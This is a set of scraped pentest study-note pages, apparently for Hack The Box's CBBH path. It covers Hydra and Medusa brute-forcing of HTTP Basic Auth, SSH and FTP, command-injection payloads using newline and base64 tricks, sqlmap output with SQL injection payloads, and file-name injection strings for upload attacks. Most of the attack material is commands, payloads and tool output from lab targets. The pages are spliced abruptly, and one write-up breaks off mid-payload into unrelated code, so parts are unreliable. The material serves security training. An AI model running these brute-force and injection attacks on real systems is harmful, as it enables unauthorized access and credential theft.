In essence, Basic Auth is a challenge-response protocol where a web server demands user credentials before granting access to protected resources. The process begins when a user attempts to access a restricted area. The server responds with a `401 Unauthorized` status and a `WWW-Authenticate` header prompting the user's browser to present a login dialog.
Once the user provides their username and password, the browser concatenates them into a single string, separated by a colon. This string is then encoded using Base64 and included in the `Authorization` header of subsequent requests, following the format `Basic `. The server decodes the credentials, verifies them against its database, and grants or denies access accordingly.
For example, the headers for Basic Auth in a HTTP GET request would look like:
Code: http
Copy
GET /protected_resource HTTP/1.1
Host: www.example.com
Authorization: Basic YWxpY2U6c2VjcmV0MTIz
### Exploiting Basic Auth with Hydra[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/basic-http-authentication#exploiting-basic-auth-with-hydra)
To follow along, start the target system via the question section at the bottom of the page.
We will use the `http-get` hydra service to brute force the basic authentication target.
In this scenario, the spawned target instance employs Basic HTTP Authentication. We already know the username is `basic-auth-user`. Since we know the username, we can simplify the Hydra command and focus solely on brute-forcing the password. Here's the command we'll use:
Basic HTTP Authentication
Copy
# Download wordlist if needed
hack3rSWE@htb[/htb]$ curl -s -O https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/2023-200_most_used_passwords.txt
# Hydra command
hack3rSWE@htb[/htb]$ hydra -l basic-auth-user -P 2023-200_most_used_passwords.txt 127.0.0.1 http-get / -s 81
...
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-09 16:04:31
[DATA] max 16 tasks per 1 server, overall 16 tasks, 200 login tries (l:1/p:200), ~13 tries per task
[DATA] attacking http-get://127.0.0.1:81/
[81][http-get] host: 127.0.0.1 login: basic-auth-user password: ...
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-09-09 16:04:32
Let's break down the command:
* `-l basic-auth-user`: This specifies that the username for the login attempt is 'basic-auth-user'.
* `-P 2023-200_most_used_passwords.txt`: This indicates that Hydra should use the password list contained in the file '2023-200\_most\_used\_passwords.txt' for its brute-force attack.
* `127.0.0.1`: This is the target IP address, in this case, the local machine (localhost).
* `http-get /`: This tells Hydra that the target service is an HTTP server and the attack should be performed using HTTP GET requests to the root path ('/').
* `-s 81`: This overrides the default port for the HTTP service and sets it to 81.
Upon execution, Hydra will systematically attempt each password from the `2023-200_most_used_passwords.txt` file against the specified resource. Eventually it will return the correct password for `basic-auth-user`, which you can use to login to the website and retrieve the flag.
LAB[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/basic-http-authentication#lab)
--------------------------------------------------------------------------------------------------------

#### Key Command[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/basic-http-authentication#key-command)
[PreviousHydra](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra)
[NextLogin Forms](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/login-forms)
Last updated 1 year ago
* [Exploiting Basic Auth with Hydra](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/basic-http-authentication#exploiting-basic-auth-with-hydra)
* [LAB](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/basic-http-authentication#lab)
Copy
$ hydra -l basic-auth-user -P 2023-200_most_used_passwords.txt 94.237.52.137 http-get / -s 39972
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-11 18:25:26
[DATA] max 16 tasks per 1 server, overall 16 tasks, 200 login tries (l:1/p:200), ~13 tries per task
[DATA] attacking http-get://94.237.52.137:39972/
[39972][http-get] host: 94.237.52.137 login: basic-auth-user password: Password@123
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-11 18:25:28
┌─[us-academy-2]─[10.10.14.4]─[htb-ac-1067736@htb-ovwchqnoip]─[~]
└──╼ [★]$
Copy
// Basic Brute Force
hydra -l basic-auth-user -P 2023-200_most_used_passwords.txt 94.237.52.137 http-get / -s 39972
---
# Good Write Up | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/good-write-up.md)
.
HTB Academy — Command Injections (skill assessment)[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/good-write-up#id-2043)
----------------------------------------------------------------------------------------------------------------------------------------------------------
[](https://medium.com/@fercasco.v?source=post_page---byline--875e8bc7e62a---------------------------------------)
[BotsiCat](https://medium.com/@fercasco.v?source=post_page---byline--875e8bc7e62a---------------------------------------)
Follow7 min read·Aug 24, 2025
6

Friends, I hope you are doing very well and are ready to complete the final challenge of the module. I really enjoyed this module; I feel that you can learn a lot from it, especially for those of us who are into Bug Bounty. Let me tell you that the test is not as complex as others we’ve done. Everything was taught to us in the course, and what’s required here is mostly observation and curiosity.
The challenge is as follows:
_What is the content of ‘/flag.txt’?_
_Authenticate to with user “guest” and password “guest”_
To begin, we launch the target provided by HTB:
Press enter or click to view image in full size

While we give the target a few minutes to properly load the services, let’s prepare BurpSuite and set it to listening mode only — Intercept off — . Regarding the version, I hadn’t mentioned that I’m using the _Community Edition_. It’s been working fine for me, even for work, at least for now. If you guys have the Professional version, you should know I envy you haha, I hope to buy it at some point. Back to BurpSuite, I’m asking you to set it this way because we’re going to log all the requests we make to the portal in order to find those that handle variables which could be useful for code injection, without constantly interrupting the query process.
Press enter or click to view image in full size

With that done, let’s head into the portal using Firefox:
Press enter or click to view image in full size

We log in with the credentials they gave us for the test, and that’s it — we’re inside:
Press enter or click to view image in full size


> I know you’re here to see the solution to the challenge. By now, you’ve probably gone through many requests, clicking here and there, as you should in order to get complete readings through BurpSuite. But most likely, after seeing so many lines to review, you’ve started to feel frustrated. I want to point out that this is completely normal — personally, it took me quite a while to review several of them, and I’m going to share with you the process that led me to solve this challenge. But seriously, if you plan to dedicate yourself to this, be very patient. Read everything, review everything, because nothing is a waste of time here.
Within the web page, we will select the second line (any record would work) and click on the ‘copy’ icon.
Press enter or click to view image in full size

On the following screen, the file management portal will be displayed with multiple actions available. We then click on ‘move’.
Press enter or click to view image in full size

This will bring us back to the main screen. You might see an error as a result of this action from the portal at the top of the page, but it’s nothing to worry about. The interesting part here is to look at the request generated by clicking on the ‘Move’ option.
Press enter or click to view image in full size

Let’s go to BurpSuite to review that request, because we will find a very interesting line with several input parameters. We select it and examine it.
Press enter or click to view image in full size

Press enter or click to view image in full size

It’s very interesting to note that it has 4 parameters — 4 opportunities to inject code and gain access. Let’s send it to ‘Repeater’ and prepare the first payload with basic code targeting the ‘To’ parameter.

Our first code payload will be:
_%0awhoami_
* \*\* Here, %0a represents a newline character (‘\\n’).
The request is structured as follows:
Press enter or click to view image in full size

We click ‘Send’ and the result is as follows:
Press enter or click to view image in full size

We can observe an error as a result, which may be triggered by the newline or the ‘whoami’ instruction. This is the main indication that this is where we should try different types of injection. Let’s encode it to see if we can obtain the ‘whoami’ data, because if we succeed, this is practically solved. We will inject:
_echo -n ‘whoami’ | base64_
This code is simple but effective. Here’s a breakdown of what it does so there’s no doubt:
* `echo` prints text to the terminal.
* `-n` prevents a newline character (`\n`) from being added at the end.
* `'whoami'` displays the username of the current user logged into the system. Well, at this moment it’s just a single line of text inside `echo`.
**| (pipe)**
* Sends the output of the command on the left (`echo -n 'whoami'`) as input to the command on the right (`base64`).
`base64`converts the input it receives into its Base64-encoded representation.
We will be using this line of code quite a bit. On your Linux platform, open a terminal so you can execute it there and obtain the encoded string. You should get the following result:

This string: `d2hvYW1p` will be incorporated into a `bash` execution string as follows:
_/nbash <<< $(base64 -d <<< d2hvYW1p)_
But we are going to encode it to prevent the request from being rejected due to the characters:
_%0abash<<<$(base64%09-d<<SQL error: ". mysqli_error($link) . " \n");
Copy
Code4Christ@htb[/htb]$ sqlmap -u "http://www.example.com/vuln.php?id=1" --batch
___
__H__
___ ___[']_____ ___ ___ {1.4.9}
|_ -| . [,] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[*] starting @ 22:26:45 /2020-09-09/
[22:26:45] [INFO] testing connection to the target URL
[22:26:45] [INFO] testing if the target URL content is stable
[22:26:46] [INFO] target URL content is stable
[22:26:46] [INFO] testing if GET parameter 'id' is dynamic
[22:26:46] [INFO] GET parameter 'id' appears to be dynamic
[22:26:46] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[22:26:46] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[22:26:46] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[22:26:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:26:46] [WARNING] reflective value(s) found and filtering out
[22:26:46] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="luther")
[22:26:46] [INFO] testing 'Generic inline queries'
[22:26:46] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[22:26:46] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
...SNIP...
[22:26:46] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[22:26:46] [INFO] testing 'MySQL inline queries'
[22:26:46] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[22:26:46] [WARNING] time-based comparison requires larger statistical model, please wait........... (done)
...SNIP...
[22:26:46] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[22:26:56] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[22:26:56] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[22:26:56] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[22:26:56] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[22:26:56] [INFO] target URL appears to have 3 columns in query
[22:26:56] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 8814=8814
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1 AND (SELECT 7744 FROM(SELECT COUNT(*),CONCAT(0x7170706a71,(SELECT (ELT(7744=7744,1))),0x71707a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 3669 FROM (SELECT(SLEEP(5)))TIxJ)
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x7170706a71,0x554d766a4d694850596b754f6f716250584a6d53485a52474a7979436647576e766a595374436e78,0x71707a7871)-- -
---
[22:26:56] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0
[22:26:57] [INFO] fetched data logged to text files under '/home/user/.sqlmap/output/www.example.com'
[*] ending @ 22:26:57 /2020-09-09/
---
# Other Upload Attacks | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/other-upload-attacks.md)
.
* * *
In addition to arbitrary file uploads and limited file upload attacks, there are a few other techniques and attacks worth mentioning, as they may become handy in some web penetration tests or bug bounty tests. Let's discuss some of these techniques and when we may use them.
* * *
### Injections in File Name[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/other-upload-attacks#injections-in-file-name)
A common file upload attack uses a malicious string for the uploaded file name, which may get executed or processed if the uploaded file name is displayed (i.e., reflected) on the page. We can try injecting a command in the file name, and if the web application uses the file name within an OS command, it may lead to a command injection attack.
For example, if we name a file `file$(whoami).jpg` or ``file`whoami`.jpg`` or `file.jpg||whoami`, and then the web application attempts to move the uploaded file with an OS command (e.g. `mv file /tmp`), then our file name would inject the `whoami` command, which would get executed, leading to remote code execution. You may refer to the [Command Injections](https://academy.hackthebox.com/module/details/109)
module for more information.
Similarly, we may use an XSS payload in the file name (e.g. ``), which would get executed on the target's machine if the file name is displayed to them. We may also inject an SQL query in the file name (e.g. `file';select+sleep(5);--.jpg`), which may lead to an SQL injection if the file name is insecurely used in an SQL query.
* * *
### Upload Directory Disclosure[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/other-upload-attacks#upload-directory-disclosure)
In some file upload forms, like a feedback form or a submission form, we may not have access to the link of our uploaded file and may not know the uploads directory. In such cases, we may utilize fuzzing to look for the uploads directory or even use other vulnerabilities (e.g., LFI/XXE) to find where the uploaded files are by reading the web applications source code, as we saw in the previous section. Furthermore, the [Web Attacks/IDOR](https://academy.hackthebox.com/module/details/134)
module discusses various methods of finding where files may be stored and identifying the file naming scheme.
Another method we can use to disclose the uploads directory is through forcing error messages, as they often reveal helpful information for further exploitation. One attack we can use to cause such errors is uploading a file with a name that already exists or sending two identical requests simultaneously. This may lead the web server to show an error that it could not write the file, which may disclose the uploads directory. We may also try uploading a file with an overly long name (e.g., 5,000 characters). If the web application does not handle this correctly, it may also error out and disclose the upload directory.
Similarly, we may try various other techniques to cause the server to error out and disclose the uploads directory, along with additional helpful information.
* * *
### Windows-specific Attacks[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/other-upload-attacks#windows-specific-attacks)
We can also use a few `Windows-Specific` techniques in some of the attacks we discussed in the previous sections.
One such attack is using reserved characters, such as (`|`, `<`, `>`, `*`, or `?`), which are usually reserved for special uses like wildcards. If the web application does not properly sanitize these names or wrap them within quotes, they may refer to another file (which may not exist) and cause an error that discloses the upload directory. Similarly, we may use Windows reserved names for the uploaded file name, like (`CON`, `COM1`, `LPT1`, or `NUL`), which may also cause an error as the web application will not be allowed to write a file with this name.
Finally, we may utilize the Windows [8.3 Filename Convention](https://en.wikipedia.org/wiki/8.3_filename)
to overwrite existing files or refer to files that do not exist. Older versions of Windows were limited to a short length for file names, so they used a Tilde character (`~`) to complete the file name, which we can use to our advantage.
For example, to refer to a file called (`hackthebox.txt`) we can use (`HAC~1.TXT`) or (`HAC~2.TXT`), where the digit represents the order of the matching files that start with (`HAC`). As Windows still supports this convention, we can write a file called (e.g. `WEB~1.CON`) to overwrite the `web.conf` file. Similarly, we may write a file that replaces sensitive system files. This attack can lead to several outcomes, like causing information disclosure through errors, causing a DoS on the back-end server, or even accessing private files.
* * *
### Advanced File Upload Attacks[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/other-upload-attacks#advanced-file-upload-attacks)
In addition to all of the attacks we have discussed in this module, there are more advanced attacks that can be used with file upload functionalities. Any automatic processing that occurs to an uploaded file, like encoding a video, compressing a file, or renaming a file, may be exploited if not securely coded.
Some commonly used libraries may have public exploits for such vulnerabilities, like the AVI upload vulnerability leading to XXE in `ffmpeg`. However, when dealing with custom code and custom libraries, detecting such vulnerabilities requires more advanced knowledge and techniques, which may lead to discovering an advanced file upload vulnerability in some web applications.
There are many other advanced file upload vulnerabilities that we did not discuss in this module. Try to read some bug bounty reports to explore more advanced file upload vulnerabilities.
[PreviousLimited File Uploads](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/limited-file-uploads)
[NextPreventing File Upload Vulnerabilities](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/preventing-file-upload-vulnerabilities)
Last updated 9 months ago
* [Injections in File Name](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/other-upload-attacks#injections-in-file-name)
* [Upload Directory Disclosure](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/other-upload-attacks#upload-directory-disclosure)
* [Windows-specific Attacks](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/other-upload-attacks#windows-specific-attacks)
* [Advanced File Upload Attacks](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/other-upload-attacks#advanced-file-upload-attacks)
---
# Re Walk + Write Up | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up.md)
.
Skills Assessment Part 2[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#skills-assessment-part-2)
---------------------------------------------------------------------------------------------------------------------------------------------------------
### Question 1[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#question-1)
#### "What is the username of the ftp user you find via brute-forcing?"[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#what-is-the-username-of-the-ftp-user-you-find-via-brute-forcing)
After spawning the target, students will download the `2023-200_most_used_passwords.txt` wordlist:
Code: shell
Copy
wget -q https://raw.githubusercontent.com/danielmiessler/SecLists/56a39ab9a70a89b56d66dad8bdffb887fba1260e/Passwords/2023-200_most_used_passwords.txt
Skills Assessment Part 2
Copy
┌─[eu-academy-5]─[10.10.14.51]─[htb-ac-8414@htb-guzdqpf4yp]─[~]
└──╼ [★]$ wget -q https://raw.githubusercontent.com/danielmiessler/SecLists/56a39ab9a70a89b56d66dad8bdffb887fba1260e/Passwords/2023-200_most_used_passwords.txt
Subsequently, students will perform an SSH brute-force using the username `satwossh` and the wordlist with hydra to attain the password of the user:
Code: shell
Copy
hydra -l satwossh -P 2023-200_most_used_passwords.txt ssh://STMIP:STMPO
Skills Assessment Part 2
Copy
┌─[eu-academy-5]─[10.10.14.51]─[htb-ac-8414@htb-guzdqpf4yp]─[~]
└──╼ [★]$ hydra -l satwossh -P 2023-200_most_used_passwords.txt ssh://94.237.56.229:39400
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-30 06:33:20
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 200 login tries (l:1/p:200), ~13 tries per task
[DATA] attacking ssh://94.237.56.229:39400/
[39400][ssh] host: 94.237.56.229 login: satwossh password: password1
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-09-30 06:34:26
Students will connect via SSH using the credentials `satwossh:password1`:
Code: shell
Skills Assessment Part 2
Subsequently, students will list the files in the current working directory, finding an `IncidentReport.txt` file holding information about a user (`Thomas Smith`):
Code: shell
Skills Assessment Part 2
Students will utilise `nmap` to scan the host locally and uncover the FTP service running on port `21`:
Code: shell
Skills Assessment Part 2
Students need to generate potential usernames for `Thomas Smith` using `username-anarchy`:
Code: shell
Skills Assessment Part 2
Subsequently, students will use `medusa` to perform an FTP brute-force using the previously generated username list and the password list located in the `/home/satwossh` directory to obtain valid credentials:
Code: shell
Skills Assessment Part 2
Answer: {hidden}
Skills Assessment Part 2[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#skills-assessment-part-2-1)
-----------------------------------------------------------------------------------------------------------------------------------------------------------
### Question 2[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#question-2)
#### "What is the flag contained within flag.txt"[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#what-is-the-flag-contained-within-flag.txt)
Students will reuse the previously established SSH session and will connect to the FTP service using the found credentials
Code: shell
Skills Assessment Part 2
Subsequently, students will list the files in the FTP service, download the `flag.txt` and obtain the flag:
Code: shell
Skills Assessment Part 2
Answer: {hidden}
Here is a clean, professional **write-up for Skills Assessment Part 2 – Questions 1 & 2**, written in the same style as your previous HTB notes and suitable for a PDF or submission. If you want, I can turn this into a **PDF** after you approve.
* * *
**Skills Assessment Part 2 – Write-Up**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#skills-assessment-part-2-write-up)
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
### **Question 1 – “What is the username of the FTP user you find via brute-forcing?”**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#question-1-what-is-the-username-of-the-ftp-user-you-find-via-brute-forcing)
To begin the assessment, I spawned the target machine and downloaded the provided wordlist _2023-200\_most\_used\_passwords.txt_:
#### **1\. SSH Password Brute-Force**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#id-1.-ssh-password-brute-force)
The exercise instructions indicated that an SSH user named `satwossh` existed on the target. I performed a password brute-force attack using `hydra`:
Hydra returned valid credentials:
#### **2\. Accessing the Target**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#id-2.-accessing-the-target)
I connected to the machine using SSH:
After logging in, I enumerated the home directory:
One key file was discovered:
The incident report clearly identified **Thomas Smith** as the suspicious FTP user associated with abnormal activity.
#### **3\. Local Port Scan**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#id-3.-local-port-scan)
To verify available local services, I scanned localhost:
This revealed:
* **FTP on port 21**
* **SSH on port 22**
#### **4\. Username Generation**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#id-4.-username-generation)
To generate potential FTP usernames for _Thomas Smith_, I used `username-anarchy`:
This produced a list of possible username formats such as:
* thomas
* smith
* tsmith
* thomass
* thomas.smith and many more.
#### **5\. FTP Brute-Force with Medusa**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#id-5.-ftp-brute-force-with-medusa)
With the list of potential usernames (`thomas_smith.txt`) and the password list (`passwords.txt`) found on the system, I performed a brute-force attack using `medusa`:
The attack successfully discovered valid FTP credentials:
#### **✔ Answer to Question 1:**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#answer-to-question-1)
`**thomas**`
* * *
### **Question 2 – “What is the flag contained within flag.txt?”**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#question-2-what-is-the-flag-contained-within-flag.txt)
Using the credentials discovered in Question 1 (`thomas : chocolate!`), I connected to the FTP service locally:
Once authenticated, I listed the available files:
The important file present was:
I downloaded it using:
Then viewed it from within the SSH session:
The flag was displayed:
#### **✔ Answer to Question 2:**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#answer-to-question-2)
`**{hidden}**`
* * *
If you want, I can **generate a polished PDF** containing this write-up.
[PreviousSkills Assessment 2](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2)
[NextExam Write up](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up)
Last updated 8 months ago
* [Skills Assessment Part 2](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#skills-assessment-part-2)
* [Question 1](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#question-1)
* [Skills Assessment Part 2](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#skills-assessment-part-2-1)
* [Question 2](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#question-2)
* [Skills Assessment Part 2 – Write-Up](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#skills-assessment-part-2-write-up)
* [Question 1 – “What is the username of the FTP user you find via brute-forcing?”](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#question-1-what-is-the-username-of-the-ftp-user-you-find-via-brute-forcing)
* [Question 2 – “What is the flag contained within flag.txt?”](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#question-2-what-is-the-flag-contained-within-flag.txt)
Copy
ssh satwossh@STMIP -p STMPO
Copy
┌─[eu-academy-5]─[10.10.14.51]─[htb-ac-8414@htb-guzdqpf4yp]─[~]
└──╼ [★]$ ssh satwossh@94.237.56.229 -p 39400
The authenticity of host '[94.237.56.229]:39400 ([94.237.56.229]:39400)' can't be established.
ED25519 key fingerprint is SHA256:0ldLAJLTwIrE2wupFhvN1WiHuimct7AF+pBddY5xIi8.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:1: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[94.237.56.229]:39400' (ED25519) to the list of known hosts.
satwossh@94.237.56.229's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 6.1.0-10-amd64 x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
-bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
satwossh@ng-8414-loginbfsatwo-pj3oi-5585b5994f-wh46v:~$
Copy
ls
cat IncidentReport.txt
Copy
satwossh@ng-8414-loginbfsatwo-pj3oi-5585b5994f-wh46v:~$ ls
IncidentReport.txt passwords.txt username-anarchy
satwossh@ng-8414-loginbfsatwo-pj3oi-5585b5994f-wh46v:~$ cat IncidentReport.txt
System Logs - Security Report
Date: 2024-09-06
Upon reviewing recent FTP activity, we have identified suspicious behavior linked to a specific user. The user **Thomas Smith** has been regularly uploading files to the server during unusual hours and has bypassed multiple security protocols. This activity requires immediate investigation.
All logs point towards Thomas Smith being the FTP user responsible for recent questionable transfers. We advise closely monitoring this user’s actions and reviewing any files uploaded to the FTP server.
Security Operations Team
Copy
nmap localhost
Copy
satwossh@ng-8414-loginbfsatwo-pj3oi-5585b5994f-wh46v:~$ nmap localhost
Starting Nmap 7.80 ( https://nmap.org ) at 2024-09-30 11:37 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00011s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 998 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
Copy
./username-anarchy/username-anarchy Thomas Smith > thomas_smith.txt
Copy
satwossh@ng-8414-loginbfsatwo-pj3oi-5585b5994f-wh46v:~$ ./username-anarchy/username-anarchy Thomas Smith > thomas_smith.txt
Copy
medusa -h 127.0.0.1 -U thomas_smith.txt -P passwords.txt -M ftp -t 5 | grep "ACCOUNT FOUND"
Copy
satwossh@ng-8414-loginbfsatwo-pj3oi-5585b5994f-wh46v:~$ medusa -h 127.0.0.1 -U thomas_smith.txt -P passwords.txt -M ftp -t 5 | grep "ACCOUNT FOUND"
ACCOUNT FOUND: [ftp] Host: 127.0.0.1 User: {hidden} Password: chocolate! [SUCCESS]
Copy
ftp ftp://thomas:chocolate\!@localhost
Copy
satwossh@ng-8414-loginbfsatwo-pj3oi-5585b5994f-wh46v:~$ ftp ftp://thomas:chocolate\!@localhost
Trying [::1]:21 ...
Connected to localhost.
220 (vsFTPd 3.0.5)
331 Please specify the password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
200 Switching to Binary mode.
ftp>
Copy
ls
get flag.txt
!cat flag.txt
Copy
ftp> ls
229 Entering Extended Passive Mode (|||24566|)
150 Here comes the directory listing.
-rw------- 1 1001 1001 28 Sep 10 09:19 flag.txt
226 Directory send OK.
ftp> get flag.txt
local: flag.txt remote: flag.txt
229 Entering Extended Passive Mode (|||14817|)
150 Opening BINARY mode data connection for flag.txt (28 bytes).
100% |*************************************************************************************************************************************************| 28 739.01 KiB/s 00:00 ETA
226 Transfer complete.
